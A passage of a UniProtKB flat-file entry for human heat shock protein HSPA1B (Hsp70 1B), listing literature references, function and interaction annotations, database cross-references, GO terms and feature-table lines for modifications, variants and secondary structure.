RT project: the Mammalian Gene Collection (MGC).";
RL Genome Res. 14:2121-2127(2004).
RN [7]
RP NUCLEOTIDE SEQUENCE [GENOMIC DNA] OF 360-424.
RX PubMed=2538825; DOI=10.1073/pnas.86.6.1968;
RA Sargent C.A., Dunham I., Trowsdale J., Campbell R.D.;
RT "Human major histocompatibility complex contains genes for the major
RT heat shock protein HSP70.";
RL Proc. Natl. Acad. Sci. U.S.A. 86:1968-1972(1989).
RN [8]
RP PROTEIN SEQUENCE OF 4-49; 57-71; 77-155; 160-187; 221-247; 273-311;
RP 326-342; 349-357; 362-416; 424-447; 459-469; 510-517; 540-550; 574-595
RP AND 598-641, AND IDENTIFICATION BY MASS SPECTROMETRY.
RC TISSUE=Embryonic kidney;
RA Bienvenut W.V., Waridel P., Quadroni M.;
RL Submitted (MAR-2009) to UniProtKB.
RN [9]
RP PROTEIN SEQUENCE OF 37-49; 57-71; 78-88; 113-126; 160-187; 221-247;
RP 302-311; 329-342; 349-357; 362-384; 540-550 AND 574-589, AND
RP IDENTIFICATION BY MASS SPECTROMETRY.
RC TISSUE=Brain, Cajal-Retzius cell, and Fetal brain cortex;
RA Lubec G., Afjehi-Sadat L., Chen W.-Q., Sun Y.;
RL Submitted (DEC-2008) to UniProtKB.
RN [10]
RP PROTEIN SEQUENCE OF 551-567, METHYLATION AT LYS-561, MUTAGENESIS OF
RP LYS-561, AND IDENTIFICATION BY MASS SPECTROMETRY.
RX PubMed=23349634; DOI=10.1371/journal.pgen.1003210;
RA Cloutier P., Lavallee-Adam M., Faubert D., Blanchette M., Coulombe B.;
RT "A newly uncovered group of distantly related lysine
RT methyltransferases preferentially interact with molecular chaperones
RT to regulate their activity.";
RL PLoS Genet. 9:E1003210-E1003210(2013).
RN [11]
RP INTERACTION WITH TERT.
RX PubMed=11274138; DOI=10.1074/jbc.C100055200;
RA Forsythe H.L., Jarvis J.L., Turner J.W., Elmore L.W., Holt S.E.;
RT "Stable association of hsp90 and p23, but Not hsp70, with active human
RT telomerase.";
RL J. Biol. Chem. 276:15571-15574(2001).
RN [12]
RP INTERACTION WITH DNAJC7.
RX PubMed=12853476; DOI=10.1093/emboj/cdg362;
RA Brychzy A., Rein T., Winklhofer K.F., Hartl F.U., Young J.C.,
RA Obermann W.M.;
RT "Cofactor Tpr2 combines two TPR domains and a J domain to regulate the
RT Hsp70/Hsp90 chaperone system.";
RL EMBO J. 22:3613-3623(2003).
RN [13]
RP INTERACTION WITH TSC2, AND IDENTIFICATION BY MASS SPECTROMETRY.
RX PubMed=15963462; DOI=10.1016/j.bbrc.2005.05.175;
RA Nellist M., Burgers P.C., van den Ouweland A.M.W., Halley D.J.J.,
RA Luider T.M.;
RT "Phosphorylation and binding partner analysis of the TSC1-TSC2
RT complex.";
RL Biochem. Biophys. Res. Commun. 333:818-826(2005).
RN [14]
RP INTERACTION WITH PPP5C, AND IDENTIFICATION BY MASS SPECTROMETRY.
RX PubMed=15383005; DOI=10.1042/BJ20040690;
RA Zeke T., Morrice N., Vazquez-Martin C., Cohen P.T.;
RT "Human protein phosphatase 5 dissociates from heat-shock proteins and
RT is proteolytically activated in response to arachidonic acid and the
RT microtubule-depolymerizing drug nocodazole.";
RL Biochem. J. 385:45-56(2005).
RN [15]
RP IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RC TISSUE=Cervix carcinoma;
RX PubMed=17081983; DOI=10.1016/j.cell.2006.09.026;
RA Olsen J.V., Blagoev B., Gnad F., Macek B., Kumar C., Mortensen P.,
RA Mann M.;
RT "Global, in vivo, and site-specific phosphorylation dynamics in
RT signaling networks.";
RL Cell 127:635-648(2006).
RN [16]
RP INTERACTION WITH IRAK1BP1, AND IDENTIFICATION BY MASS SPECTROMETRY.
RX PubMed=17233114; DOI=10.1089/dna.2006.25.704;
RA Haag Breese E., Uversky V.N., Georgiadis M.M., Harrington M.A.;
RT "The disordered amino-terminus of SIMPL interacts with members of the
RT 70-kDa heat-shock protein family.";
RL DNA Cell Biol. 25:704-714(2006).
RN [17]
RP FUNCTION AS A RECEPTOR FOR ROTAVIRUS A.
RX PubMed=16537599; DOI=10.1128/JVI.80.7.3322-3331.2006;
RA Perez-Vargas J., Romero P., Lopez S., Arias C.F.;
RT "The peptide-binding and ATPase domains of recombinant hsc70 are
RT required to interact with rotavirus and reduce its infectivity.";
RL J. Virol. 80:3322-3331(2006).
RN [18]
RP INTERACTION WITH DNAJC9.
RX PubMed=17182002; DOI=10.1016/j.bbrc.2006.12.013;
RA Han C., Chen T., Li N., Yang M., Wan T., Cao X.;
RT "HDJC9, a novel human type C DnaJ/HSP40 member interacts with and
RT cochaperones HSP70 through the J domain.";
RL Biochem. Biophys. Res. Commun. 353:280-285(2007).
RN [19]
RP IDENTIFICATION IN A MRNP GRANULE COMPLEX, IDENTIFICATION BY MASS
RP SPECTROMETRY, AND SUBCELLULAR LOCATION.
RX PubMed=17289661; DOI=10.1074/mcp.M600346-MCP200;
RA Joeson L., Vikesaa J., Krogh A., Nielsen L.K., Hansen T., Borup R.,
RA Johnsen A.H., Christiansen J., Nielsen F.C.;
RT "Molecular composition of IMP1 ribonucleoprotein granules.";
RL Mol. Cell. Proteomics 6:798-811(2007).
RN [20]
RP INTERACTION WITH DNAJC7.
RX PubMed=18620420; DOI=10.1021/bi800770g;
RA Moffatt N.S., Bruinsma E., Uhl C., Obermann W.M., Toft D.;
RT "Role of the cochaperone Tpr2 in Hsp90 chaperoning.";
RL Biochemistry 47:8203-8213(2008).
RN [21]
RP IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RC TISSUE=Cervix carcinoma;
RX PubMed=18691976; DOI=10.1016/j.molcel.2008.07.007;
RA Daub H., Olsen J.V., Bairlein M., Gnad F., Oppermann F.S., Korner R.,
RA Greff Z., Keri G., Stemmann O., Mann M.;
RT "Kinase-selective enrichment enables quantitative phosphoproteomics of
RT the kinome across the cell cycle.";
RL Mol. Cell 31:438-448(2008).
RN [22]
RP ACETYLATION [LARGE SCALE ANALYSIS] AT ALA-2, CLEAVAGE OF INITIATOR
RP METHIONINE [LARGE SCALE ANALYSIS], AND IDENTIFICATION BY MASS
RP SPECTROMETRY [LARGE SCALE ANALYSIS].
RX PubMed=19413330; DOI=10.1021/ac9004309;
RA Gauci S., Helbig A.O., Slijper M., Krijgsveld J., Heck A.J.,
RA Mohammed S.;
RT "Lys-N and trypsin cover complementary parts of the phosphoproteome in
RT a refined SCX-based approach.";
RL Anal. Chem. 81:4493-4501(2009).
RN [23]
RP ACETYLATION [LARGE SCALE ANALYSIS] AT LYS-108; LYS-246 AND LYS-348,
RP AND IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RX PubMed=19608861; DOI=10.1126/science.1175371;
RA Choudhary C., Kumar C., Gnad F., Nielsen M.L., Rehman M.,
RA Walther T.C., Olsen J.V., Mann M.;
RT "Lysine acetylation targets protein complexes and co-regulates major
RT cellular functions.";
RL Science 325:834-840(2009).
RN [24]
RP INTERACTION WITH TRIM5.
RX PubMed=20053985; DOI=10.1074/jbc.M109.040618;
RA Hwang C.Y., Holl J., Rajan D., Lee Y., Kim S., Um M., Kwon K.S.,
RA Song B.;
RT "Hsp70 interacts with the retroviral restriction factor TRIM5alpha and
RT assists the folding of TRIM5alpha.";
RL J. Biol. Chem. 285:7827-7837(2010).
RN [25]
RP PHOSPHORYLATION [LARGE SCALE ANALYSIS] AT SER-631; SER-633 AND
RP THR-636, AND IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE
RP ANALYSIS].
RC TISSUE=Cervix carcinoma;
RX PubMed=20068231; DOI=10.1126/scisignal.2000475;
RA Olsen J.V., Vermeulen M., Santamaria A., Kumar C., Miller M.L.,
RA Jensen L.J., Gnad F., Cox J., Jensen T.S., Nigg E.A., Brunak S.,
RA Mann M.;
RT "Quantitative phosphoproteomics reveals widespread full
RT phosphorylation site occupancy during mitosis.";
RL Sci. Signal. 3:RA3-RA3(2010).
RN [26]
RP IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RX PubMed=21269460; DOI=10.1186/1752-0509-5-17;
RA Burkard T.R., Planyavsky M., Kaupe I., Breitwieser F.P.,
RA Buerckstuemmer T., Bennett K.L., Superti-Furga G., Colinge J.;
RT "Initial characterization of the human central proteome.";
RL BMC Syst. Biol. 5:17-17(2011).
RN [27]
RP INTERACTION WITH CHCHD3.
RX PubMed=21081504; DOI=10.1074/jbc.M110.171975;
RA Darshi M., Mendiola V.L., Mackey M.R., Murphy A.N., Koller A.,
RA Perkins G.A., Ellisman M.H., Taylor S.S.;
RT "ChChd3, an inner mitochondrial membrane protein, is essential for
RT maintaining crista integrity and mitochondrial function.";
RL J. Biol. Chem. 286:2918-2932(2011).
RN [28]
RP FUNCTION, AND INTERACTION WITH ATF5.
RX PubMed=22528486; DOI=10.1074/jbc.M112.363622;
RA Liu X., Liu D., Qian D., Dai J., An Y., Jiang S., Stanley B., Yang J.,
RA Wang B., Liu X., Liu D.X.;
RT "Nucleophosmin (NPM1/B23) interacts with activating transcription
RT factor 5 (ATF5) protein and promotes proteasome- and caspase-dependent
RT ATF5 degradation in hepatocellular carcinoma cells.";
RL J. Biol. Chem. 287:19599-19609(2012).
RN [29]
RP IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RX PubMed=22905912; DOI=10.1021/pr300539b;
RA Rosenow A., Noben J.P., Jocken J., Kallendrusch S.,
RA Fischer-Posovszky P., Mariman E.C., Renes J.;
RT "Resveratrol-induced changes of the human adipocyte secretion
RT profile.";
RL J. Proteome Res. 11:4733-4743(2012).
RN [30]
RP IDENTIFICATION BY MASS SPECTROMETRY, FUNCTION, AND INTERACTION WITH
RP FOXP3.
RX PubMed=23973223; DOI=10.1016/j.immuni.2013.08.006;
RA Chen Z., Barbi J., Bu S., Yang H.Y., Li Z., Gao Y., Jinasena D.,
RA Fu J., Lin F., Chen C., Zhang J., Yu N., Li X., Shan Z., Nie J.,
RA Gao Z., Tian H., Li Y., Yao Z., Zheng Y., Park B.V., Pan Z., Zhang J.,
RA Dang E., Li Z., Wang H., Luo W., Li L., Semenza G.L., Zheng S.G.,
RA Loser K., Tsun A., Greene M.I., Pardoll D.M., Pan F., Li B.;
RT "The ubiquitin ligase Stub1 negatively modulates regulatory T cell
RT suppressive activity by promoting degradation of the transcription
RT factor Foxp3.";
RL Immunity 39:272-285(2013).
RN [31]
RP METHYLATION AT LYS-561, MUTAGENESIS OF LYS-561, AND INTERACTION WITH
RP METTL21A.
RX PubMed=23921388; DOI=10.1074/jbc.M113.483248;
RA Jakobsson M.E., Moen A., Bousset L., Egge-Jacobsen W., Kernstock S.,
RA Melki R., Falnes P.O.;
RT "Identification and characterization of a novel human
RT methyltransferase modulating Hsp70 function through lysine
RT methylation.";
RL J. Biol. Chem. 288:27752-27763(2013).
RN [32]
RP IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RC TISSUE=Cervix carcinoma, and Erythroleukemia;
RX PubMed=23186163; DOI=10.1021/pr300630k;
RA Zhou H., Di Palma S., Preisinger C., Peng M., Polat A.N., Heck A.J.,
RA Mohammed S.;
RT "Toward a comprehensive characterization of a human cancer cell
RT phosphoproteome.";
RL J. Proteome Res. 12:260-271(2013).
RN [33]
RP INTERACTION WITH PARK2.
RX PubMed=24270810; DOI=10.1038/nature12748;
RA Hasson S.A., Kane L.A., Yamano K., Huang C.H., Sliter D.A.,
RA Buehler E., Wang C., Heman-Ackah S.M., Hessa T., Guha R., Martin S.E.,
RA Youle R.J.;
RT "High-content genome-wide RNAi screens identify regulators of parkin
RT upstream of mitophagy.";
RL Nature 504:291-295(2013).
RN [34]
RP INTERACTION WITH NOD2.
RX PubMed=24790089; DOI=10.1074/jbc.M114.557686;
RA Mohanan V., Grimes C.L.;
RT "The molecular chaperone HSP70 binds to and stabilizes NOD2, an
RT important protein involved in Crohn disease.";
RL J. Biol. Chem. 289:18987-18998(2014).
RN [35]
RP IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RC TISSUE=Liver;
RX PubMed=24275569; DOI=10.1016/j.jprot.2013.11.014;
RA Bian Y., Song C., Cheng K., Dong M., Wang F., Huang J., Sun D.,
RA Wang L., Ye M., Zou H.;
RT "An enzyme assisted RP-RPLC approach for in-depth analysis of human
RT liver phosphoproteome.";
RL J. Proteomics 96:253-262(2014).
RN [36]
RP IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RX PubMed=25944712; DOI=10.1002/pmic.201400617;
RA Vaca Jacome A.S., Rabilloud T., Schaeffer-Reiss C., Rompais M.,
RA Ayoub D., Lane L., Bairoch A., Van Dorsselaer A., Carapito C.;
RT "N-terminome analysis of the human mitochondrial proteome.";
RL Proteomics 15:2519-2524(2015).
RN [37]
RP X-RAY CRYSTALLOGRAPHY (2.3 ANGSTROMS) OF 1-382 IN COMPLEX WITH ADP,
RP AND ATP-BINDING.
RX PubMed=10216320; DOI=10.1107/S0907444999002103;
RA Osipiuk J., Walsh M.A., Freeman B.C., Morimoto R.I., Joachimiak A.;
RT "Structure of a new crystal form of human hsp70 ATPase domain.";
RL Acta Crystallogr. D 55:1105-1107(1999).
RN [38]
RP X-RAY CRYSTALLOGRAPHY (1.77 ANGSTROMS) OF 389-641 IN COMPLEX WITH ATP
RP ANALOG, AND ATP-BINDING.
RX PubMed=20179333; DOI=10.1107/S0907444909053979;
RA Shida M., Arakawa A., Ishii R., Kishishita S., Takagi T.,
RA Kukimoto-Niino M., Sugano S., Tanaka A., Shirouzu M., Yokoyama S.;
RT "Direct inter-subdomain interactions switch between the closed and
RT open forms of the Hsp70 nucleotide-binding domain in the nucleotide-
RT free state.";
RL Acta Crystallogr. D 66:223-232(2010).
RN [39]
RP X-RAY CRYSTALLOGRAPHY (2.14 ANGSTROMS) OF 1-387 IN COMPLEX WITH ADP,
RP AND ATP-BINDING.
RX PubMed=20072699; DOI=10.1371/journal.pone.0008625;
RA Wisniewska M., Karlberg T., Lehtio L., Johansson I., Kotenyova T.,
RA Moche M., Schuler H.;
RT "Crystal structures of the ATPase domains of four human Hsp70
RT isoforms: HSPA1L/Hsp70-hom, HSPA2/Hsp70-2, HSPA6/Hsp70B', and
RT HSPA5/BiP/GRP78.";
RL PLoS ONE 5:E8625-E8625(2010).
RN [40]
RP X-RAY CRYSTALLOGRAPHY (2.3 ANGSTROMS) OF 1-388 IN COMPLEX WITH BAG5.
RX PubMed=20223214; DOI=10.1016/j.str.2010.01.004;
RA Arakawa A., Handa N., Ohsawa N., Shida M., Kigawa T., Hayashi F.,
RA Shirouzu M., Yokoyama S.;
RT "The C-terminal BAG domain of BAG5 induces conformational changes of
RT the Hsp70 nucleotide-binding domain for ADP-ATP exchange.";
RL Structure 18:309-319(2010).
RN [41]
RP X-RAY CRYSTALLOGRAPHY (1.58 ANGSTROMS) OF 1-388, ATP-BINDING, AND
RP MUTAGENESIS OF ASP-10 AND ASP-199.
RX PubMed=21608060; DOI=10.1002/pro.663;
RA Arakawa A., Handa N., Shirouzu M., Yokoyama S.;
RT "Biochemical and structural studies on the high affinity of Hsp70 for
RT ADP.";
RL Protein Sci. 20:1367-1379(2011).
CC -!- FUNCTION: In cooperation with other chaperones, Hsp70s stabilize
CC preexistent proteins against aggregation and mediate the folding
CC of newly translated polypeptides in the cytosol as well as within
CC organelles. These chaperones participate in all these processes
CC through their ability to recognize nonnative conformations of
CC other proteins. They bind extended peptide segments with a net
CC hydrophobic character exposed by polypeptides during translation
CC and membrane translocation, or following stress-induced damage. In
CC case of rotavirus A infection, serves as a post-attachment
CC receptor for the virus to facilitate entry into the cell.
CC Essential for STUB1-mediated ubiquitination and degradation of
CC FOXP3 in regulatory T-cells (Treg) during inflammation
CC (PubMed:23973223). {ECO:0000269|PubMed:16537599,
CC ECO:0000269|PubMed:22528486, ECO:0000269|PubMed:23973223}.
CC -!- SUBUNIT: Component of the CatSper complex. Identified in a
CC IGF2BP1-dependent mRNP granule complex containing untranslated
CC mRNAs (PubMed:17289661). Interacts with CHCHD3, DNAJC7, IRAK1BP1,
CC PPP5C and TSC2 (PubMed:21081504, PubMed:12853476, PubMed:18620420,
CC PubMed:17233114, PubMed:15383005, PubMed:15963462). Interacts with
CC TERT; the interaction occurs in the absence of the RNA component,
CC TERC, and dissociates once the TERT complex has formed
CC (PubMed:11274138). Interacts with TRIM5 (via B30.2/SPRY domain)
CC (PubMed:20053985). Interacts with METTL21A (PubMed:23921388).
CC Interacts with PARK2 (PubMed:24270810). Interacts with FOXP3
CC (PubMed:23973223). Interacts with NOD2; the interaction enhances
CC NOD2 stability (PubMed:24790089). Interacts with DNAJC9 (via J
CC domain) (PubMed:17182002). Interacts with ATF5; the interaction
CC protects ATF5 from degradation via proteasome-dependent and
CC caspase-dependent processes (PubMed:22528486).
CC {ECO:0000269|PubMed:10216320, ECO:0000269|PubMed:11274138,
CC ECO:0000269|PubMed:12853476, ECO:0000269|PubMed:15383005,
CC ECO:0000269|PubMed:15963462, ECO:0000269|PubMed:17182002,
CC ECO:0000269|PubMed:17233114, ECO:0000269|PubMed:17289661,
CC ECO:0000269|PubMed:18620420, ECO:0000269|PubMed:20053985,
CC ECO:0000269|PubMed:20072699, ECO:0000269|PubMed:20179333,
CC ECO:0000269|PubMed:20223214, ECO:0000269|PubMed:21081504,
CC ECO:0000269|PubMed:22528486, ECO:0000269|PubMed:23921388,
CC ECO:0000269|PubMed:23973223, ECO:0000269|PubMed:24270810,
CC ECO:0000269|PubMed:24790089}.
CC -!- SUBCELLULAR LOCATION: Cytoplasm {ECO:0000269|PubMed:17289661}.
CC Note=Localized in cytoplasmic mRNP granules containing
CC untranslated mRNAs.
CC -!- TISSUE SPECIFICITY: HSPA1B is testis-specific.
CC -!- INDUCTION: By heat shock.
CC -!- SIMILARITY: Belongs to the heat shock protein 70 family.
CC {ECO:0000305}.
CC -!- WEB RESOURCE: Name=NIEHS-SNPs;
CC URL="http://egp.gs.washington.edu/data/hspa1b/";
CC -----------------------------------------------------------------------
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DR EMBL; M59830; AAA63227.1; -; Genomic_DNA.
DR EMBL; BA000025; BAB63299.1; -; Genomic_DNA.
DR EMBL; AF134726; AAD21815.1; -; Genomic_DNA.
DR EMBL; DQ388429; ABD48956.1; -; Genomic_DNA.
DR EMBL; AL671762; -; NOT_ANNOTATED_CDS; Genomic_DNA.
DR EMBL; BC009322; AAH09322.1; -; mRNA.
DR EMBL; BC018740; AAH18740.1; -; mRNA.
DR EMBL; BC057397; AAH57397.1; -; mRNA.
DR EMBL; BC063507; AAH63507.1; -; mRNA.
DR EMBL; M24744; AAA59845.1; -; Genomic_DNA.
DR CCDS; CCDS34415.1; -.
DR PIR; A29160; A29160.
DR PIR; A45871; A45871.
DR PIR; I59139; I59139.
DR PIR; I79540; I79540.
DR RefSeq; NP_005336.3; NM_005345.5.
DR RefSeq; NP_005337.2; NM_005346.4.
DR UniGene; Hs.274402; -.
DR UniGene; Hs.702139; -.
DR UniGene; Hs.719966; -.
DR UniGene; Hs.743411; -.
DR PDB; 4J8F; X-ray; 2.70 A; A=1-382, A=384-600.
DR PDBsum; 4J8F; -.
DR ProteinModelPortal; P0DMV9; -.
DR SMR; P0DMV9; 1-613.
DR MINT; MINT-96699; -.
DR BindingDB; P0DMV9; -.
DR iPTMnet; P0DMV9; -.
DR DMDM; 147744565; -.
DR REPRODUCTION-2DPAGE; IPI00304925; -.
DR DNASU; 3303; -.
DR Ensembl; ENST00000375650; ENSP00000364801; ENSG00000204388.
DR Ensembl; ENST00000391548; ENSP00000375391; ENSG00000224501.
DR Ensembl; ENST00000391555; ENSP00000375399; ENSG00000212866.
DR Ensembl; ENST00000445736; ENSP00000403530; ENSG00000231555.
DR Ensembl; ENST00000450744; ENSP00000393087; ENSG00000232804.
DR GeneID; 3303; -.
DR GeneID; 3304; -.
DR KEGG; hsa:3303; -.
DR KEGG; hsa:3304; -.
DR CTD; 3303; -.
DR CTD; 3304; -.
DR H-InvDB; HIX0058169; -.
DR H-InvDB; HIX0058187; -.
DR H-InvDB; HIX0166160; -.
DR HGNC; HGNC:5233; HSPA1B.
DR HPA; HPA052504; -.
DR MIM; 140550; gene.
DR MIM; 603012; gene.
DR neXtProt; NX_P0DMV9; -.
DR GeneTree; ENSGT00840000129996; -.
DR GeneTree; ENSGT00840000130013; -.
DR HOGENOM; HOG000228135; -.
DR HOVERGEN; HBG051845; -.
DR KO; K03283; -.
DR OrthoDB; EOG091G03SF; -.
DR PhylomeDB; P0DMV9; -.
DR TreeFam; TF105042; -.
DR Reactome; R-HSA-3371453; Regulation of HSF1-mediated heat shock response.
DR Reactome; R-HSA-3371568; Attenuation phase.
DR Reactome; R-HSA-3371571; HSF1-dependent transactivation.
DR ChiTaRS; HSPA1A; human.
DR ChiTaRS; HSPA1B; human.
DR GeneWiki; HSPA1A; -.
DR PRO; PR:P0DMV9; -.
DR Proteomes; UP000005640; Chromosome 6.
DR CleanEx; HS_HSPA1A; -.
DR ExpressionAtlas; P0DMV9; baseline and differential.
DR GO; GO:0072562; C:blood microparticle; IDA:UniProtKB.
DR GO; GO:0005814; C:centriole; IDA:UniProtKB.
DR GO; GO:0005737; C:cytoplasm; IDA:UniProtKB.
DR GO; GO:0005829; C:cytosol; IDA:UniProtKB.
DR GO; GO:0005925; C:focal adhesion; IDA:UniProtKB.
DR GO; GO:0016234; C:inclusion body; IDA:BHF-UCL.
DR GO; GO:0005654; C:nucleoplasm; TAS:Reactome.
DR GO; GO:0048471; C:perinuclear region of cytoplasm; IDA:BHF-UCL.
DR GO; GO:0005524; F:ATP binding; IDA:BHF-UCL.
DR GO; GO:0016887; F:ATPase activity; IDA:BHF-UCL.
DR GO; GO:0042623; F:ATPase activity, coupled; IDA:UniProtKB.
DR GO; GO:0055131; F:C3HC4-type RING finger domain binding; IPI:BHF-UCL.
DR GO; GO:0019899; F:enzyme binding; IPI:BHF-UCL.
DR GO; GO:0001664; F:G-protein coupled receptor binding; IDA:ParkinsonsUK-UCL.
DR GO; GO:0031072; F:heat shock protein binding; IPI:UniProtKB.
DR GO; GO:0042826; F:histone deacetylase binding; IPI:BHF-UCL.
DR GO; GO:0044183; F:protein binding involved in protein folding; IDA:BHF-UCL.
DR GO; GO:0005102; F:receptor binding; IPI:UniProtKB.
DR GO; GO:0031625; F:ubiquitin protein ligase binding; IPI:ParkinsonsUK-UCL.
DR GO; GO:0051082; F:unfolded protein binding; IDA:UniProtKB.
DR GO; GO:0001618; F:virus receptor activity; IEA:UniProtKB-KW.
DR GO; GO:0046034; P:ATP metabolic process; IDA:BHF-UCL.
DR GO; GO:0070370; P:cellular heat acclimation; IMP:UniProtKB.
DR GO; GO:0034605; P:cellular response to heat; IDA:UniProtKB.
DR GO; GO:0034599; P:cellular response to oxidative stress; TAS:ParkinsonsUK-UCL.
DR GO; GO:0060548; P:negative regulation of cell death; IMP:UniProtKB.
DR GO; GO:2001240; P:negative regulation of extrinsic apoptotic signaling pathway in absence of ligand; IMP:BHF-UCL.
DR GO; GO:0090084; P:negative regulation of inclusion body assembly; IDA:UniProtKB.
DR GO; GO:0031397; P:negative regulation of protein ubiquitination; IDA:ParkinsonsUK-UCL.
DR GO; GO:0010628; P:positive regulation of gene expression; IMP:BHF-UCL.
DR GO; GO:0032757; P:positive regulation of interleukin-8 production; IMP:UniProtKB.
DR GO; GO:0051092; P:positive regulation of NF-kappaB transcription factor activity; IMP:UniProtKB.
DR GO; GO:0070434; P:positive regulation of nucleotide-binding oligomerization domain containing 2 signaling pathway; IMP:UniProtKB.
DR GO; GO:1903265; P:positive regulation of tumor necrosis factor-mediated signaling pathway; IMP:UniProtKB.
DR GO; GO:0042026; P:protein refolding; IDA:UniProtKB.
DR GO; GO:0050821; P:protein stabilization; IMP:UniProtKB.
DR GO; GO:1900034; P:regulation of cellular response to heat; TAS:Reactome.
DR GO; GO:0031396; P:regulation of protein ubiquitination; IDA:BHF-UCL.
DR Gene3D; 1.20.1270.10; -; 1.
DR Gene3D; 2.60.34.10; -; 1.
DR InterPro; IPR018181; Heat_shock_70_CS.
DR InterPro; IPR029048; HSP70_C.
DR InterPro; IPR029047; HSP70_peptide-bd.
DR InterPro; IPR013126; Hsp_70_fam.
DR Pfam; PF00012; HSP70; 1.
DR PRINTS; PR00301; HEATSHOCK70.
DR SUPFAM; SSF100920; SSF100920; 1.
DR SUPFAM; SSF100934; SSF100934; 1.
DR PROSITE; PS00297; HSP70_1; 1.
DR PROSITE; PS00329; HSP70_2; 1.
DR PROSITE; PS01036; HSP70_3; 1.
PE 1: Evidence at protein level;
KW 3D-structure; Acetylation; ATP-binding; Chaperone; Complete proteome;
KW Cytoplasm; Direct protein sequencing;
KW Host cell receptor for virus entry; Methylation; Nucleotide-binding;
KW Phosphoprotein; Polymorphism; Receptor; Reference proteome;
KW Stress response.
FT INIT_MET 1 1 Removed. {ECO:0000244|PubMed:19413330}.
FT CHAIN 2 641 Heat shock 70 kDa protein 1B.
FT /FTId=PRO_0000433115.
FT NP_BIND 12 15 ATP.
FT NP_BIND 202 204 ATP.
FT NP_BIND 268 275 ATP.
FT NP_BIND 339 342 ATP.
FT BINDING 71 71 ATP.
FT MOD_RES 2 2 N-acetylalanine.
FT {ECO:0000244|PubMed:19413330}.
FT MOD_RES 108 108 N6-acetyllysine.
FT {ECO:0000244|PubMed:19608861}.
FT MOD_RES 246 246 N6-acetyllysine.
FT {ECO:0000244|PubMed:19608861}.
FT MOD_RES 348 348 N6-acetyllysine.
FT {ECO:0000244|PubMed:19608861}.
FT MOD_RES 561 561 N6,N6,N6-trimethyllysine; by METTL21A.
FT {ECO:0000269|PubMed:23349634,
FT ECO:0000269|PubMed:23921388}.
FT MOD_RES 631 631 Phosphoserine.
FT {ECO:0000244|PubMed:20068231}.
FT MOD_RES 633 633 Phosphoserine.
FT {ECO:0000244|PubMed:20068231}.
FT MOD_RES 636 636 Phosphothreonine.
FT {ECO:0000244|PubMed:20068231}.
FT VARIANT 95 95 I -> V. {ECO:0000269|Ref.4}.
FT /FTId=VAR_032152.
FT VARIANT 467 467 A -> V (in dbSNP:rs538280104).
FT {ECO:0000269|Ref.4}.
FT /FTId=VAR_032153.
FT VARIANT 499 499 N -> S (in dbSNP:rs483638).
FT {ECO:0000269|PubMed:14656967,
FT ECO:0000269|Ref.4}.
FT /FTId=VAR_029054.
FT MUTAGEN 10 10 D->A: Reduces affinity for ADP.
FT {ECO:0000269|PubMed:21608060}.
FT MUTAGEN 199 199 D->A: Reduces affinity for ADP.
FT {ECO:0000269|PubMed:21608060}.
FT MUTAGEN 561 561 K->R: Complete loss of in vitro
FT methylation by METTL21A.
FT {ECO:0000269|PubMed:23349634,
FT ECO:0000269|PubMed:23921388}.
FT STRAND 7 11 {ECO:0000244|PDB:4J8F}.
FT STRAND 13 22 {ECO:0000244|PDB:4J8F}.
FT STRAND 25 28 {ECO:0000244|PDB:4J8F}.
FT STRAND 36 39 {ECO:0000244|PDB:4J8F}.
FT STRAND 42 44 {ECO:0000244|PDB:4J8F}.
FT STRAND 49 51 {ECO:0000244|PDB:4J8F}.
FT HELIX 53 57 {ECO:0000244|PDB:4J8F}.
FT HELIX 59 61 {ECO:0000244|PDB:4J8F}.
FT HELIX 63 65 {ECO:0000244|PDB:4J8F}.
FT HELIX 70 73 {ECO:0000244|PDB:4J8F}.
FT HELIX 81 87 {ECO:0000244|PDB:4J8F}.
FT STRAND 91 99 {ECO:0000244|PDB:4J8F}.
FT STRAND 101 107 {ECO:0000244|PDB:4J8F}.
FT STRAND 110 114 {ECO:0000244|PDB:4J8F}.
FT HELIX 116 135 {ECO:0000244|PDB:4J8F}.
FT STRAND 141 146 {ECO:0000244|PDB:4J8F}.
FT HELIX 152 164 {ECO:0000244|PDB:4J8F}.
FT STRAND 168 174 {ECO:0000244|PDB:4J8F}.
FT HELIX 175 182 {ECO:0000244|PDB:4J8F}.
FT TURN 183 187 {ECO:0000244|PDB:4J8F}.
FT STRAND 193 200 {ECO:0000244|PDB:4J8F}.
FT STRAND 205 213 {ECO:0000244|PDB:4J8F}.
FT STRAND 216 225 {ECO:0000244|PDB:4J8F}.
FT HELIX 230 249 {ECO:0000244|PDB:4J8F}.
FT HELIX 257 276 {ECO:0000244|PDB:4J8F}.
FT STRAND 278 288 {ECO:0000244|PDB:4J8F}.
FT STRAND 291 298 {ECO:0000244|PDB:4J8F}.
FT HELIX 299 305 {ECO:0000244|PDB:4J8F}.
FT HELIX 307 311 {ECO:0000244|PDB:4J8F}.
FT HELIX 315 324 {ECO:0000244|PDB:4J8F}.
FT HELIX 328 330 {ECO:0000244|PDB:4J8F}.
FT STRAND 333 338 {ECO:0000244|PDB:4J8F}.
FT HELIX 339 342 {ECO:0000244|PDB:4J8F}.
FT HELIX 344 353 {ECO:0000244|PDB:4J8F}.
FT TURN 354 356 {ECO:0000244|PDB:4J8F}.
FT TURN 365 367 {ECO:0000244|PDB:4J8F}.
FT HELIX 368 382 {ECO:0000244|PDB:4J8F}.
FT HELIX 384 386 {ECO:0000244|PDB:4J8F}.
FT HELIX 426 444 {ECO:0000244|PDB:4J8F}.
FT HELIX 449 457 {ECO:0000244|PDB:4J8F}.
FT HELIX 462 466 {ECO:0000244|PDB:4J8F}.
FT HELIX 475 487 {ECO:0000244|PDB:4J8F}.
FT HELIX 491 504 {ECO:0000244|PDB:4J8F}.
FT HELIX 523 534 {ECO:0000244|PDB:4J8F}.
FT HELIX 538 551 {ECO:0000244|PDB:4J8F}.
FT HELIX 563 578 {ECO:0000244|PDB:4J8F}.
FT HELIX 587 597 {ECO:0000244|PDB:4J8F}.
